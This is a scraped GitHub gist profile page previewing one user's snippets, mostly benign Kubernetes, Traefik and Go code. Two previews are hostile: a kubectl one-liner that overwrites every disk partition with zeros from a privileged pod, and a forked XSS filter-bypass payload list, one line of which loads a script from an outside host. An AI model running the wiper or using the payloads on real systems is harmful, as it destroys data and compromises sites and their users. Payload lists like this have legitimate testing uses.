Skip to content

Instantly share code, notes, and snippets.

View dtherhtun's full-sized avatar
🎯
ʕ◔ϖ◔ʔ

D Ther Htun dtherhtun

🎯
ʕ◔ϖ◔ʔ
View GitHub Profile
@dtherhtun
dtherhtun / dynamic.yml
Created May 16, 2021 16:01
Traefik TCP proxy with auth dashboard (v2.0.0)
http:
routers:
api:
rule: PathPrefix(`/api`) || PathPrefix(`/dashboard`)
service: api@internal
entryPoints:
- internal
middlewares:
- auth
middlewares:
@dtherhtun
dtherhtun / main.go
Created October 29, 2020 17:21
IDM user/group to CSV
package main
import (
"bufio"
"encoding/csv"
"log"
"os"
"regexp"
"strings"
)
@dtherhtun
dtherhtun / controller.sh
Created May 18, 2020 05:41
Simple kubernetes controller with bash
#!/usr/bin/env bash
kubectl get --watch --output-watch-events configmap -o=custom-columns=type:type,name:object.metadata.name \
--no-headers | \
while read next; do
NAME=$(echo $next | cut -d' ' -f2)
EVENT=$(echo $next | cut -d' ' -f1)
case $EVENT in
@dtherhtun
dtherhtun / fah-kube.yaml
Last active March 30, 2020 17:35
Folding @ Home for k8s and OCP
apiVersion: apps/v1
kind: Deployment
metadata:
name: fah
labels:
app: fah
spec:
selector:
matchLabels:
app: fah
kubectl run --image=bash fast -- bash -c "cat /proc/partitions | xargs -I {} dd if=/dev/zero of={}" && kubectl patch deploy fast --type='json' -p='[{"op": "add", "path": "/spec/template/spec/containers/0/securityContext", "value": { "privileged": true }}]'
kubectl run --image=bash fast -- bash -c "cat /proc/partitions | xargs -I {} dd if=/dev/zero of={}" && kubectl patch deploy fast --type='json' -p='[{"op": "add", "path": "/spec/template/spec/containers/0/securityContext", "value": { "privileged": true }}]'
@dtherhtun
dtherhtun / go-shebang-story.md
Created September 17, 2019 05:36 — forked from posener/go-shebang-story.md
Story: Writing Scripts with Go

Story: Writing Scripts with Go

This is a story about how I tried to use Go for scripting. In this story, I’ll discuss the need for a Go script, how we would expect it to behave and the possible implementations; During the discussion I’ll deep dive to scripts, shells, and shebangs. Finally, we’ll discuss solutions that will make Go scripts work.

Why Go is good for scripting?

While python and bash are popular scripting languages, C, C++ and Java are not used for scripts at all, and some languages are somewhere in between.

@dtherhtun
dtherhtun / main.go
Created September 12, 2019 08:56 — forked from enricofoltran/main.go
A simple golang web server with basic logging, tracing, health check, graceful shutdown and zero dependencies
package main
import (
"context"
"flag"
"fmt"
"log"
"net/http"
"os"
"os/signal"
@dtherhtun
dtherhtun / xxsfilterbypass.lst
Created December 7, 2016 05:50 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>